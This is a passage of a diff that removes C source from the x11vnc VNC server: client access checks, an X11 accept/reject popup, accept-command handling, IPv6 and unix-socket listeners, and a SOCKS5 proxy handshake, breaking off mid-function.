- if (gone_cmd && *gone_cmd != '\0') {
- if (strstr(gone_cmd, "popup") == gone_cmd) {
- int x = -64000, y = -64000, timeout = 120;
- char *userhost = ident_username(client);
- char *addr, *p, *mode;
-
- /* extract timeout */
- if ((p = strchr(gone_cmd, ':')) != NULL) {
- int in;
- if (sscanf(p+1, "%d", &in) == 1) {
- timeout = in;
- }
- }
- /* extract geometry */
- if ((p = strpbrk(gone_cmd, "+-")) != NULL) {
- ugly_geom(p, &x, &y);
- }
-
- /* find mode: mouse, key, or both */
- if (strstr(gone_cmd, "popupmouse") == gone_cmd) {
- mode = "mouse_only";
- } else if (strstr(gone_cmd, "popupkey") == gone_cmd) {
- mode = "key_only";
- } else {
- mode = "both";
- }
-
- addr = client->host;
-
- ugly_window(addr, userhost, x, y, timeout, mode, 0);
-
- free(userhost);
- } else {
- rfbLog("client_gone: using cmd: %s\n", client->host);
- run_user_command(gone_cmd, client, "gone", NULL, 0, NULL);
- }
- }
-
- free_client_data(client);
-
- if (inetd && client == inetd_client) {
- rfbLog("inetd viewer exited.\n");
- if (gui_pid > 0) {
- rfbLog("killing gui_pid %d\n", gui_pid);
- kill(gui_pid, SIGTERM);
- }
- clean_up_exit(0);
- }
-
- if (connect_once) {
- /*
- * This non-exit is done for a bad passwd to be consistent
- * with our RFB_CLIENT_REFUSE behavior in new_client() (i.e.
- * we disconnect after 1 successful connection).
- */
- if ((client->state == RFB_PROTOCOL_VERSION ||
- client->state == RFB_SECURITY_TYPE ||
- client->state == RFB_AUTHENTICATION ||
- client->state == RFB_INITIALISATION) && accepted_client) {
- rfbLog("connect_once: invalid password or early "
- "disconnect. %d\n", client->state);
- rfbLog("connect_once: waiting for next connection.\n");
- accepted_client--;
- if (accepted_client < 0) {
- accepted_client = 0;
- }
- CLIENT_UNLOCK;
- if (connect_or_exit) {
- clean_up_exit(1);
- }
- return;
- }
- if (shared && client_count > 0) {
- rfbLog("connect_once: other shared clients still "
- "connected, not exiting.\n");
- CLIENT_UNLOCK;
- return;
- }
-
- rfbLog("viewer exited.\n");
- if ((client_connect || connect_or_exit) && gui_pid > 0) {
- rfbLog("killing gui_pid %d\n", gui_pid);
- kill(gui_pid, SIGTERM);
- }
- CLIENT_UNLOCK;
- clean_up_exit(0);
- }
-#ifdef MACOSX
- if (macosx_console && client_count == 0) {
- macosxCG_refresh_callback_off();
- }
-#endif
- CLIENT_UNLOCK;
-}
-
-/*
- * Simple routine to limit access via string compare. A power user will
- * want to compile libvncserver with libwrap support and use /etc/hosts.allow.
- */
-int check_access(char *addr) {
- int allowed = 0;
- int ssl = 0;
- char *p, *list;
-
- if (use_openssl || use_stunnel) {
- ssl = 1;
- }
- if (deny_all) {
- rfbLog("check_access: new connections are currently "
- "blocked.\n");
- return 0;
- }
- if (addr == NULL || *addr == '\0') {
- rfbLog("check_access: denying empty host IP address string.\n");
- return 0;
- }
-
- if (allow_list == NULL) {
- /* set to "" to possibly append allow_once */
- allow_list = strdup("");
- }
- if (*allow_list == '\0' && allow_once == NULL) {
- /* no constraints, accept it */
- return 1;
- }
-
- if (strchr(allow_list, '/')) {
- /* a file of IP addresess or prefixes */
- int len, len2 = 0;
- struct stat sbuf;
- FILE *in;
- char line[1024], *q;
-
- if (stat(allow_list, &sbuf) != 0) {
- rfbLogEnable(1);
- rfbLog("check_access: failure stating file: %s\n",
- allow_list);
- rfbLogPerror("stat");
- clean_up_exit(1);
- }
- len = sbuf.st_size + 1; /* 1 more for '\0' at end */
- if (allow_once) {
- len2 = strlen(allow_once) + 2;
- len += len2;
- }
- if (ssl) {
- len2 = strlen("127.0.0.1") + 2;
- len += len2;
- }
- list = (char *) malloc(len);
- list[0] = '\0';
-
- in = fopen(allow_list, "r");
- if (in == NULL) {
- rfbLogEnable(1);
- rfbLog("check_access: cannot open: %s\n", allow_list);
- rfbLogPerror("fopen");
- clean_up_exit(1);
- }
- while (fgets(line, 1024, in) != NULL) {
- if ( (q = strchr(line, '#')) != NULL) {
- *q = '\0';
- }
- if (strlen(list) + strlen(line) >=
- (size_t) (len - len2)) {
- /* file grew since our stat() */
- break;
- }
- strcat(list, line);
- }
- fclose(in);
- if (allow_once) {
- strcat(list, "\n");
- strcat(list, allow_once);
- strcat(list, "\n");
- }
- if (ssl) {
- strcat(list, "\n");
- strcat(list, "127.0.0.1");
- strcat(list, "\n");
- }
- } else {
- int len = strlen(allow_list) + 1;
- if (allow_once) {
- len += strlen(allow_once) + 1;
- }
- if (ssl) {
- len += strlen("127.0.0.1") + 1;
- }
- list = (char *) malloc(len);
- list[0] = '\0';
- strcat(list, allow_list);
- if (allow_once) {
- strcat(list, ",");
- strcat(list, allow_once);
- }
- if (ssl) {
- strcat(list, ",");
- strcat(list, "127.0.0.1");
- }
- }
-
- if (allow_once) {
- free(allow_once);
- allow_once = NULL;
- }
-
- p = strtok(list, ", \t\n\r");
- while (p) {
- char *chk, *q, *r = NULL;
- if (*p == '\0') {
- p = strtok(NULL, ", \t\n\r");
- continue;
- }
- if (ipv6_ip(p)) {
- chk = p;
- } else if (! dotted_ip(p, 1)) {
- r = host2ip(p);
- if (r == NULL || *r == '\0') {
- rfbLog("check_access: bad lookup \"%s\"\n", p);
- p = strtok(NULL, ", \t\n\r");
- continue;
- }
- rfbLog("check_access: lookup %s -> %s\n", p, r);
- chk = r;
- } else {
- chk = p;
- }
- if (getenv("X11VNC_DEBUG_ACCESS")) fprintf(stderr, "chk: %s part: %s addr: %s\n", chk, p, addr);
-
- q = strstr(addr, chk);
- if (ipv6_ip(addr)) {
- if (!strcmp(chk, "localhost") && !strcmp(addr, "::1")) {
- rfbLog("check_access: client addr %s is local.\n", addr);
- allowed = 1;
- } else if (!strcmp(chk, "::1") && !strcmp(addr, "::1")) {
- rfbLog("check_access: client addr %s is local.\n", addr);
- allowed = 1;
- } else if (!strcmp(chk, "127.0.0.1") && !strcmp(addr, "::1")) {
- /* this if for host2ip("localhost") */
- rfbLog("check_access: client addr %s is local.\n", addr);
- allowed = 1;
- } else if (q == addr) {
- rfbLog("check_access: client %s matches pattern %s\n", addr, chk);
- allowed = 1;
- }
- } else if (chk[strlen(chk)-1] != '.') {
- if (!strcmp(addr, chk)) {
- if (chk != p) {
- rfbLog("check_access: client %s " "matches host %s=%s\n", addr, chk, p);
- } else {
- rfbLog("check_access: client %s " "matches host %s\n", addr, chk);
- }
- allowed = 1;
- } else if(!strcmp(chk, "localhost") && !strcmp(addr, "127.0.0.1")) {
- allowed = 1;
- }
- } else if (q == addr) {
- rfbLog("check_access: client %s matches pattern %s\n", addr, chk);
- allowed = 1;
- }
- p = strtok(NULL, ", \t\n\r");
- if (r) {
- free(r);
- }
- if (allowed) {
- break;
- }
- }
- free(list);
- return allowed;
-}
-
-/*
- * x11vnc's first (and only) visible widget: accept/reject dialog window.
- * We go through this pain to avoid dependency on libXt...
- */
-static int ugly_window(char *addr, char *userhost, int X, int Y,
- int timeout, char *mode, int accept) {
-#if NO_X11
- if (!addr || !userhost || !X || !Y || !timeout || !mode || !accept) {}
- RAWFB_RET(0)
- nox11_exit(1);
- return 0;
-#else
-
-#define t2x2_width 16
-#define t2x2_height 16
-static unsigned char t2x2_bits[] = {
- 0xff, 0xff, 0xff, 0xff, 0x33, 0x33, 0x33, 0x33, 0xff, 0xff, 0xff, 0xff,
- 0x33, 0x33, 0x33, 0x33, 0xff, 0xff, 0xff, 0xff, 0x33, 0x33, 0x33, 0x33,
- 0xff, 0xff, 0xff, 0xff, 0x33, 0x33, 0x33, 0x33};
-
- Window awin;
- GC gc;
- XSizeHints hints;
- XGCValues values;
- static XFontStruct *font_info = NULL;
- static Pixmap ico = 0;
- unsigned long valuemask = 0;
- static char dash_list[] = {20, 40};
- int list_length = sizeof(dash_list);
-
- Atom wm_protocols;
- Atom wm_delete_window;
-
- XEvent ev;
- long evmask = ExposureMask | KeyPressMask | ButtonPressMask
- | StructureNotifyMask;
- double waited = 0.0;
-
- /* strings and geometries y/n */
- KeyCode key_y, key_n, key_v;
- char strh[100];
- char stri[100];
- char str1_b[] = "To accept: press \"y\" or click the \"Yes\" button";
- char str2_b[] = "To reject: press \"n\" or click the \"No\" button";
- char str3_b[] = "View only: press \"v\" or click the \"View\" button";
- char str1_m[] = "To accept: click the \"Yes\" button";
- char str2_m[] = "To reject: click the \"No\" button";
- char str3_m[] = "View only: click the \"View\" button";
- char str1_k[] = "To accept: press \"y\"";
- char str2_k[] = "To reject: press \"n\"";
- char str3_k[] = "View only: press \"v\"";
- char *str1, *str2, *str3;
- char str_y[] = "Yes";
- char str_n[] = "No";
- char str_v[] = "View";
- int x, y, w = 345, h = 175, ret = 0;
- int X_sh = 20, Y_sh = 30, dY = 20;
- int Ye_x = 20, Ye_y = 0, Ye_w = 45, Ye_h = 20;
- int No_x = 75, No_y = 0, No_w = 45, No_h = 20;
- int Vi_x = 130, Vi_y = 0, Vi_w = 45, Vi_h = 20;
- char *sprop = "new x11vnc client";
-
- KeyCode key_o;
-
- RAWFB_RET(0)
-
- if (! accept) {
- sprintf(str_y, "OK");
- sprop = "x11vnc client disconnected";
- h = 110;
- str1 = "";
- str2 = "";
- str3 = "";
- } else if (!strcmp(mode, "mouse_only")) {
- str1 = str1_m;
- str2 = str2_m;
- str3 = str3_m;
- } else if (!strcmp(mode, "key_only")) {
- str1 = str1_k;
- str2 = str2_k;
- str3 = str3_k;
- h -= dY;
- } else {
- str1 = str1_b;
- str2 = str2_b;
- str3 = str3_b;
- }
- if (view_only) {
- h -= dY;
- }
-
- /* XXX handle coff_x/coff_y? */
- if (X < -dpy_x) {
- x = (dpy_x - w)/2; /* large negative: center */
- if (x < 0) x = 0;
- } else if (X < 0) {
- x = dpy_x + X - w; /* from lower right */
- } else {
- x = X; /* from upper left */
- }
-
- if (Y < -dpy_y) {
- y = (dpy_y - h)/2;
- if (y < 0) y = 0;
- } else if (Y < 0) {
- y = dpy_y + Y - h;
- } else {
- y = Y;
- }
-
- X_LOCK;
-
- awin = XCreateSimpleWindow(dpy, window, x, y, w, h, 4,
- BlackPixel(dpy, scr), WhitePixel(dpy, scr));
-
- wm_protocols = XInternAtom(dpy, "WM_PROTOCOLS", False);
- wm_delete_window = XInternAtom(dpy, "WM_DELETE_WINDOW", False);
- XSetWMProtocols(dpy, awin, &wm_delete_window, 1);
-
- if (! ico) {
- ico = XCreateBitmapFromData(dpy, awin, (char *) t2x2_bits,
- t2x2_width, t2x2_height);
- }
-
- hints.flags = PPosition | PSize | PMinSize;
- hints.x = x;
- hints.y = y;
- hints.width = w;
- hints.height = h;
- hints.min_width = w;
- hints.min_height = h;
-
- XSetStandardProperties(dpy, awin, sprop, "x11vnc query", ico, NULL,
- 0, &hints);
-
- XSelectInput_wr(dpy, awin, evmask);
-
- if (! font_info && (font_info = XLoadQueryFont(dpy, "fixed")) == NULL) {
- rfbLogEnable(1);
- rfbLog("ugly_window: cannot locate font fixed.\n");
- X_UNLOCK;
- clean_up_exit(1);
- }
-
- gc = XCreateGC(dpy, awin, valuemask, &values);
- XSetFont(dpy, gc, font_info->fid);
- XSetForeground(dpy, gc, BlackPixel(dpy, scr));
- XSetLineAttributes(dpy, gc, 1, LineSolid, CapButt, JoinMiter);
- XSetDashes(dpy, gc, 0, dash_list, list_length);
-
- XMapWindow(dpy, awin);
- XFlush_wr(dpy);
-
- if (accept) {
- char *ip = addr;
- char *type = "accept";
- if (unixpw && strstr(userhost, "UNIX:") != userhost) {
- type = "UNIXPW";
- if (openssl_last_ip) {
- ip = openssl_last_ip;
- }
- }
- snprintf(strh, 100, "x11vnc: %s connection from %s?", type, ip);
- } else {
- snprintf(strh, 100, "x11vnc: client disconnected from %s", addr);
- }
- snprintf(stri, 100, " (%s)", userhost);
-
- key_o = XKeysymToKeycode(dpy, XStringToKeysym("o"));
- key_y = XKeysymToKeycode(dpy, XStringToKeysym("y"));
- key_n = XKeysymToKeycode(dpy, XStringToKeysym("n"));
- key_v = XKeysymToKeycode(dpy, XStringToKeysym("v"));
-
- while (1) {
- int out = -1, x, y, tw, k;
-
- if (XCheckWindowEvent(dpy, awin, evmask, &ev)) {
- ; /* proceed to handling */
- } else if (XCheckTypedEvent(dpy, ClientMessage, &ev)) {
- ; /* proceed to handling */
- } else {
- int ms = 100; /* sleep a bit */
- usleep(ms * 1000);
- waited += ((double) ms)/1000.;
- if (timeout && (int) waited >= timeout) {
- rfbLog("ugly_window: popup timed out after "
- "%d seconds.\n", timeout);
- out = 0;
- ev.type = 0;
- } else {
- continue;
- }
- }
-
- switch(ev.type) {
- case Expose:
- while (XCheckTypedEvent(dpy, Expose, &ev)) {
- ;
- }
- k=0;
-
- /* instructions */
- XDrawString(dpy, awin, gc, X_sh, Y_sh+(k++)*dY,
- strh, strlen(strh));
- XDrawString(dpy, awin, gc, X_sh, Y_sh+(k++)*dY,
- stri, strlen(stri));
- if (accept) {
- XDrawString(dpy, awin, gc, X_sh, Y_sh+(k++)*dY,
- str1, strlen(str1));
- XDrawString(dpy, awin, gc, X_sh, Y_sh+(k++)*dY,
- str2, strlen(str2));
- if (! view_only) {
- XDrawString(dpy, awin, gc, X_sh, Y_sh+(k++)*dY,
- str3, strlen(str3));
- }
- }
-
- if (!strcmp(mode, "key_only")) {
- break;
- }
-
- /* buttons */
- Ye_y = Y_sh+k*dY;
- No_y = Y_sh+k*dY;
- Vi_y = Y_sh+k*dY;
- XDrawRectangle(dpy, awin, gc, Ye_x, Ye_y, Ye_w, Ye_h);
-
- if (accept) {
- XDrawRectangle(dpy, awin, gc, No_x, No_y, No_w, No_h);
- if (! view_only) {
- XDrawRectangle(dpy, awin, gc, Vi_x, Vi_y,
- Vi_w, Vi_h);
- }
- }
-
- tw = XTextWidth(font_info, str_y, strlen(str_y));
- tw = (Ye_w - tw)/2;
- if (tw < 0) tw = 1;
- XDrawString(dpy, awin, gc, Ye_x+tw, Ye_y+Ye_h-5,
- str_y, strlen(str_y));
-
- if (!accept) {
- break;
- }
- tw = XTextWidth(font_info, str_n, strlen(str_n));
- tw = (No_w - tw)/2;
- if (tw < 0) tw = 1;
- XDrawString(dpy, awin, gc, No_x+tw, No_y+No_h-5,
- str_n, strlen(str_n));
-
- if (! view_only) {
- tw = XTextWidth(font_info, str_v,
- strlen(str_v));
- tw = (Vi_w - tw)/2;
- if (tw < 0) tw = 1;
- XDrawString(dpy, awin, gc, Vi_x+tw,
- Vi_y+Vi_h-5, str_v, strlen(str_v));
- }
-
- break;
-
- case ClientMessage:
- if (ev.xclient.message_type == wm_protocols &&
- (Atom) ev.xclient.data.l[0] == wm_delete_window) {
- out = 0;
- }
- break;
-
- case ButtonPress:
- x = ev.xbutton.x;
- y = ev.xbutton.y;
- if (!strcmp(mode, "key_only")) {
- ;
- } else if (x > Ye_x && x < Ye_x+Ye_w && y > Ye_y
- && y < Ye_y+Ye_h) {
- out = 1;
- } else if (! accept) {
- ;
- } else if (x > No_x && x < No_x+No_w && y > No_y
- && y < No_y+No_h) {
- out = 0;
- } else if (! view_only && x > Vi_x && x < Vi_x+Vi_w
- && y > Vi_y && y < Vi_y+Ye_h) {
- out = 2;
- }
- break;
-
- case KeyPress:
- if (!strcmp(mode, "mouse_only")) {
- ;
- } else if (! accept) {
- if (ev.xkey.keycode == key_o) {
- out = 1;
- }
- if (ev.xkey.keycode == key_y) {
- out = 1;
- }
- } else if (ev.xkey.keycode == key_y) {
- out = 1;
- ;
- } else if (ev.xkey.keycode == key_n) {
- out = 0;
- } else if (! view_only && ev.xkey.keycode == key_v) {
- out = 2;
- }
- break;
- default:
- break;
- }
- if (out != -1) {
- ret = out;
- XSelectInput_wr(dpy, awin, 0);
- XUnmapWindow(dpy, awin);
- XFree_wr(gc);
- XDestroyWindow(dpy, awin);
- XFlush_wr(dpy);
- break;
- }
- }
- X_UNLOCK;
-
- return ret;
-#endif /* NO_X11 */
-}
-
-/*
- * process a "yes:0,no:*,view:3" type action list comparing to command
- * return code rc. * means the default action with no other match.
- */
-static int action_match(char *action, int rc) {
- char *p, *q, *s = strdup(action);
- int cases[4], i, result;
- char *labels[4];
-
- labels[1] = "yes";
- labels[2] = "no";
- labels[3] = "view";
-
- rfbLog("accept_client: process action line: %s\n",
- action);
-
- for (i=1; i <= 3; i++) {
- cases[i] = -2;
- }
-
- p = strtok(s, ",");
- while (p) {
- if ((q = strchr(p, ':')) != NULL) {
- int in, k = 1;
- *q = '\0';
- q++;
- if (strstr(p, "yes") == p) {
- k = 1;
- } else if (strstr(p, "no") == p) {
- k = 2;
- } else if (strstr(p, "view") == p) {
- k = 3;
- } else {
- rfbLogEnable(1);
- rfbLog("invalid action line: %s\n", action);
- clean_up_exit(1);
- }
- if (*q == '*') {
- cases[k] = -1;
- } else if (sscanf(q, "%d", &in) == 1) {
- if (in < 0) {
- rfbLogEnable(1);
- rfbLog("invalid action line: %s\n",
- action);
- clean_up_exit(1);
- }
- cases[k] = in;
- } else {
- rfbLogEnable(1);
- rfbLog("invalid action line: %s\n", action);
- clean_up_exit(1);
- }
- } else {
- rfbLogEnable(1);
- rfbLog("invalid action line: %s\n", action);
- clean_up_exit(1);
- }
- p = strtok(NULL, ",");
- }
- free(s);
-
- result = -1;
- for (i=1; i <= 3; i++) {
- if (cases[i] == -1) {
- rfbLog("accept_client: default action is case=%d %s\n",
- i, labels[i]);
- result = i;
- break;
- }
- }
- if (result == -1) {
- rfbLog("accept_client: no default action\n");
- }
- for (i=1; i <= 3; i++) {
- if (cases[i] >= 0 && cases[i] == rc) {
- rfbLog("accept_client: matched action is case=%d %s\n",
- i, labels[i]);
- result = i;
- break;
- }
- }
- if (result < 0) {
- rfbLog("no action match: %s rc=%d set to no\n", action, rc);
- result = 2;
- }
- return result;
-}
-
-static void ugly_geom(char *p, int *x, int *y) {
- int x1, y1;
-
- if (sscanf(p, "+%d+%d", &x1, &y1) == 2) {
- *x = x1;
- *y = y1;
- } else if (sscanf(p, "+%d-%d", &x1, &y1) == 2) {
- *x = x1;
- *y = -y1;
- } else if (sscanf(p, "-%d+%d", &x1, &y1) == 2) {
- *x = -x1;
- *y = y1;
- } else if (sscanf(p, "-%d-%d", &x1, &y1) == 2) {
- *x = -x1;
- *y = -y1;
- }
-}
-
-/*
- * Simple routine to prompt the user on the X display whether an incoming
- * client should be allowed to connect or not. If a gui is involved it
- * will be running in the environment/context of the X11 DISPLAY.
- *
- * The command supplied via -accept is run as is (i.e. no string
- * substitution) with the RFB_CLIENT_IP environment variable set to the
- * incoming client's numerical IP address.
- *
- * If the external command exits with 0 the client is accepted, otherwise
- * the client is rejected.
- *
- * Some builtins are provided:
- *
- * xmessage: use homebrew xmessage(1) for the external command.
- * popup: use internal X widgets for prompting.
- *
- */
-int accept_client(rfbClientPtr client) {
-
- char xmessage[200], *cmd = NULL;
- char *addr = client->host;
- char *action = NULL;
-
- if (accept_cmd == NULL || *accept_cmd == '\0') {
- return 1; /* no command specified, so we accept */
- }
-
- if (addr == NULL || addr[0] == '\0') {
- addr = "unknown-host";
- }
-
- if (strstr(accept_cmd, "popup") == accept_cmd) {
- /* use our builtin popup button */
-
- /* (popup|popupkey|popupmouse)[+-X+-Y][:timeout] */
-
- int ret, timeout = 120;
- int x = -64000, y = -64000;
- char *p, *mode;
- char *userhost = ident_username(client);
-
- /* extract timeout */
- if ((p = strchr(accept_cmd, ':')) != NULL) {
- int in;
- if (sscanf(p+1, "%d", &in) == 1) {
- timeout = in;
- }
- }
- /* extract geometry */
- if ((p = strpbrk(accept_cmd, "+-")) != NULL) {
- ugly_geom(p, &x, &y);
- }
-
- /* find mode: mouse, key, or both */
- if (strstr(accept_cmd, "popupmouse") == accept_cmd) {
- mode = "mouse_only";
- } else if (strstr(accept_cmd, "popupkey") == accept_cmd) {
- mode = "key_only";
- } else {
- mode = "both";
- }
-
- if (dpy == NULL && use_dpy && strstr(use_dpy, "WAIT:") ==
- use_dpy) {
- rfbLog("accept_client: warning allowing client under conditions:\n");
- rfbLog(" -display WAIT:, dpy == NULL, -accept popup.\n");
- rfbLog(" There will be another popup.\n");
- return 1;
- }
-
- rfbLog("accept_client: using builtin popup for: %s\n", addr);
- if ((ret = ugly_window(addr, userhost, x, y, timeout,
- mode, 1))) {
- free(userhost);
- if (ret == 2) {
- rfbLog("accept_client: viewonly: %s\n", addr);
- client->viewOnly = TRUE;
- }
- rfbLog("accept_client: popup accepted: %s\n", addr);
- return 1;
- } else {
- free(userhost);
- rfbLog("accept_client: popup rejected: %s\n", addr);
- return 0;
- }
-
- } else if (!strcmp(accept_cmd, "xmessage")) {
- /* make our own command using xmessage(1) */
-
- if (view_only) {
- sprintf(xmessage, "xmessage -buttons yes:0,no:2 -center"
- " 'x11vnc: accept connection from %s?'", addr);
- } else {
- sprintf(xmessage, "xmessage -buttons yes:0,no:2,"
- "view-only:3 -center" " 'x11vnc: accept connection"
- " from %s?'", addr);
- action = "yes:0,no:*,view:3";
- }
- cmd = xmessage;
-
- } else {
- /* use the user supplied command: */
-
- cmd = accept_cmd;
-
- /* extract any action prefix: yes:N,no:M,view:K */
- if (strstr(accept_cmd, "yes:") == accept_cmd) {
- char *p;
- if ((p = strpbrk(accept_cmd, " \t")) != NULL) {
- int i;
- cmd = p;
- p = accept_cmd;
- for (i=0; i<200; i++) {
- if (*p == ' ' || *p == '\t') {
- xmessage[i] = '\0';
- break;
- }
- xmessage[i] = *p;
- p++;
- }
- xmessage[200-1] = '\0';
- action = xmessage;
- }
- }
- }
-
- if (cmd) {
- int rc;
-
- rfbLog("accept_client: using cmd for: %s\n", addr);
- rc = run_user_command(cmd, client, "accept", NULL, 0, NULL);
-
- if (action) {
- int result;
-
- if (rc < 0) {
- rfbLog("accept_client: cannot use negative "
- "rc: %d, action %s\n", rc, action);
- result = 2;
- } else {
- result = action_match(action, rc);
- }
-
- if (result == 1) {
- rc = 0;
- } else if (result == 2) {
- rc = 1;
- } else if (result == 3) {
- rc = 0;
- rfbLog("accept_client: viewonly: %s\n", addr);
- client->viewOnly = TRUE;
- } else {
- rc = 1; /* NOTREACHED */
- }
- }
-
- if (rc == 0) {
- rfbLog("accept_client: accepted: %s\n", addr);
- return 1;
- } else {
- rfbLog("accept_client: rejected: %s\n", addr);
- return 0;
- }
- } else {
- rfbLog("accept_client: no command, rejecting %s\n", addr);
- return 0;
- }
-
- /* return 0; NOTREACHED */
-}
-
-void check_ipv6_listen(long usec) {
-#if X11VNC_IPV6
- fd_set fds;
- struct timeval tv;
- int nfds, csock = -1, one = 1;
- struct sockaddr_in6 addr;
- socklen_t addrlen = sizeof(addr);
- rfbClientPtr cl;
- int nmax = 0;
- char *name;
-
- if (!ipv6_listen || noipv6) {
- return;
- }
- if (ipv6_listen_fd < 0 && ipv6_http_fd < 0) {
- return;
- }
-
- FD_ZERO(&fds);
- if (ipv6_listen_fd >= 0) {
- FD_SET(ipv6_listen_fd, &fds);
- nmax = ipv6_listen_fd;
- }
- if (ipv6_http_fd >= 0 && screen->httpSock < 0) {
- FD_SET(ipv6_http_fd, &fds);
- if (ipv6_http_fd > nmax) {
- nmax = ipv6_http_fd;
- }
- }
-
- tv.tv_sec = 0;
- tv.tv_usec = 0;
-
- nfds = select(nmax+1, &fds, NULL, NULL, &tv);
-
- if (nfds <= 0) {
- return;
- }
-
- if (ipv6_listen_fd >= 0 && FD_ISSET(ipv6_listen_fd, &fds)) {
-
- csock = accept(ipv6_listen_fd, (struct sockaddr *)&addr, &addrlen);
- if (csock < 0) {
- rfbLogPerror("check_ipv6_listen: accept");
- goto err1;
- }
- if (fcntl(csock, F_SETFL, O_NONBLOCK) < 0) {
- rfbLogPerror("check_ipv6_listen: fcntl");
- close(csock);
- goto err1;
- }
- if (setsockopt(csock, IPPROTO_TCP, TCP_NODELAY,
- (char *)&one, sizeof(one)) < 0) {
- rfbLogPerror("check_ipv6_listen: setsockopt");
- close(csock);
- goto err1;
- }
-
- name = ipv6_getipaddr((struct sockaddr *) &addr, addrlen);
-
- ipv6_client_ip_str = name;
- cl = rfbNewClient(screen, csock);
- ipv6_client_ip_str = NULL;
- if (cl == NULL) {
- close(csock);
- goto err1;
- }
-
- if (name) {
- if (cl->host) {
- free(cl->host);
- }
- cl->host = name;
- rfbLog("ipv6 client: %s\n", name);
- }
- }
-
- err1:
-
- if (ipv6_http_fd >= 0 && FD_ISSET(ipv6_http_fd, &fds)) {
-
- csock = accept(ipv6_http_fd, (struct sockaddr *)&addr, &addrlen);
- if (csock < 0) {
- rfbLogPerror("check_ipv6_listen: accept");
- return;
- }
- if (fcntl(csock, F_SETFL, O_NONBLOCK) < 0) {
- rfbLogPerror("check_ipv6_listen: fcntl");
- close(csock);
- return;
- }
- if (setsockopt(csock, IPPROTO_TCP, TCP_NODELAY,
- (char *)&one, sizeof(one)) < 0) {
- rfbLogPerror("check_ipv6_listen: setsockopt");
- close(csock);
- return;
- }
-
- rfbLog("check_ipv6_listen: setting httpSock to %d\n", csock);
- screen->httpSock = csock;
-
- if (screen->httpListenSock < 0) {
- /* this may not always work... */
- int save = screen->httpListenSock;
- screen->httpListenSock = ipv6_http_fd;
- rfbLog("check_ipv6_listen: no httpListenSock, calling rfbHttpCheckFds()\n");
- rfbHttpCheckFds(screen);
- screen->httpListenSock = save;
- }
- }
-#endif
- if (usec) {}
-}
-
-void check_unix_sock(long usec) {
- fd_set fds;
- struct timeval tv;
- int nfds, csock = -1;
- rfbClientPtr cl;
- int nmax = 0;
- char *name;
-
- if (!unix_sock || unix_sock_fd < 0) {
- return;
- }
-
- FD_ZERO(&fds);
- if (unix_sock_fd >= 0) {
- FD_SET(unix_sock_fd, &fds);
- nmax = unix_sock_fd;
- }
-
- tv.tv_sec = 0;
- tv.tv_usec = 0;
-
- nfds = select(nmax+1, &fds, NULL, NULL, &tv);
-
- if (nfds <= 0) {
- return;
- }
-
- if (unix_sock_fd >= 0 && FD_ISSET(unix_sock_fd, &fds)) {
- csock = accept_unix(unix_sock_fd);
- if (csock < 0) {
- return;
- }
- if (fcntl(csock, F_SETFL, O_NONBLOCK) < 0) {
- rfbLogPerror("check_unix_sock: fcntl");
- close(csock);
- return;
- }
-
- /* rfbNewClient() will screw us with setsockopt TCP_NODELAY...
- you need to comment out in libvncserver/rfbserver.c:
- rfbLogPerror("setsockopt failed");
- close(sock);
- return NULL;
- */
- cl = rfbNewClient(screen, csock);
-
- if (cl == NULL) {
- close(csock);
- return;
- }
-
- name = strdup(unix_sock);
-
- if (name) {
- if (cl->host) {
- free(cl->host);
- }
- cl->host = name;
- rfbLog("unix sock client: %s\n", name);
- }
- }
-}
-
-/*
- * For the -connect <file> option: periodically read the file looking for
- * a connect string. If one is found set client_connect to it.
- */
-static void check_connect_file(char *file) {
- FILE *in;
- char line[VNC_CONNECT_MAX], host[VNC_CONNECT_MAX];
- static int first_warn = 1, truncate_ok = 1;
- static double last_time = 0.0, delay = 0.5;
- double now = dnow();
- struct stat sbuf;
-
- if (last_time == 0.0) {
- if (!getenv("X11VNC_APPSHARE_ACTIVE")) {
- /* skip first */
- last_time = now;
- } else {
- delay = 0.25;
- }
- }
- if (now - last_time < delay) {
- /* check only about once a second */
- return;
- }
- last_time = now;
-
- if (! truncate_ok) {
- /* check if permissions changed */
- if (access(file, W_OK) == 0) {
- truncate_ok = 1;
- } else {
- return;
- }
- }
-
- if (stat(file, &sbuf) == 0) {
- /* skip empty file directly */
- if (sbuf.st_size == 0) {
- return;
- }
- }
-
- in = fopen(file, "r");
- if (in == NULL) {
- if (first_warn) {
- rfbLog("check_connect_file: fopen failure: %s\n", file);
- rfbLogPerror("fopen");
- first_warn = 0;
- }
- return;
- }
-
- if (fgets(line, VNC_CONNECT_MAX, in) != NULL) {
- if (sscanf(line, "%s", host) == 1) {
- if (strlen(host) > 0) {
- char *str = strdup(host);
- if (strlen(str) > 38) {
- char trim[100];
- trim[0] = '\0';
- strncat(trim, str, 38);
- rfbLog("read connect file: %s ...\n",
- trim);
- } else {
- rfbLog("read connect file: %s\n", str);
- }
- if (!strcmp(str, "cmd=stop") &&
- dnowx() < 3.0) {
- rfbLog("ignoring stale cmd=stop\n");
- } else {
- client_connect = str;
- }
- }
- }
- }
- fclose(in);
-
- /* truncate file */
- in = fopen(file, "w");
- if (in != NULL) {
- fclose(in);
- } else {
- /* disable if we cannot truncate */
- rfbLog("check_connect_file: could not truncate %s, "
- "disabling checking.\n", file);
- truncate_ok = 0;
- }
-}
-
-static int socks5_proxy(char *host, int port, int sock) {
- unsigned char buf[512], tmp[2];
- char reply[512];
- int len, n, i, j = 0;
-
- memset(buf, 0, 512);
- memset(reply, 0, 512);
-
- buf[0] = 0x5;
- buf[1] = 0x1;
- buf[2] = 0x0;
-
- write(sock, buf, 3);
-
- n = read(sock, buf, 2);
-
- if (n != 2) {
- rfbLog("socks5_proxy: read error: %d\n", n);
- close(sock);
- return 0;
- }
- if (buf[0] != 0x5 || buf[1] != 0x0) {
- rfbLog("socks5_proxy: handshake error: %d %d\n", (int) buf[0], (int) buf[1]);
- close(sock);
- return 0;
- }
-
- buf[0] = 0x5;
- buf[1] = 0x1;
- buf[2] = 0x0;
- buf[3] = 0x3;
-
- buf[4] = (unsigned char) strlen(host);
- strcat((char *) buf+5, host);
-
- len = 5 + strlen(host);
-
- buf[len] = (unsigned char) (port >> 8);
- buf[len+1] = (unsigned char) (port & 0xff);
-
- write(sock, buf, len+2);
-
- for (i=0; i<4; i++) {
- int n;
- n = read(sock, tmp, 1);
- j++;
- if (n < 0) {
- if (errno != EINTR) {
- break;
- } else {
- i--;
- if (j > 100) {
- break;
- }
- continue;
- }
- }
- if (n == 0) {
- break;
- }
- reply[i] = tmp[0];
- }
- if (reply[3] == 0x1) {
- read(sock, reply+4, 4 + 2);
- } else if (reply[3] == 0x3) {
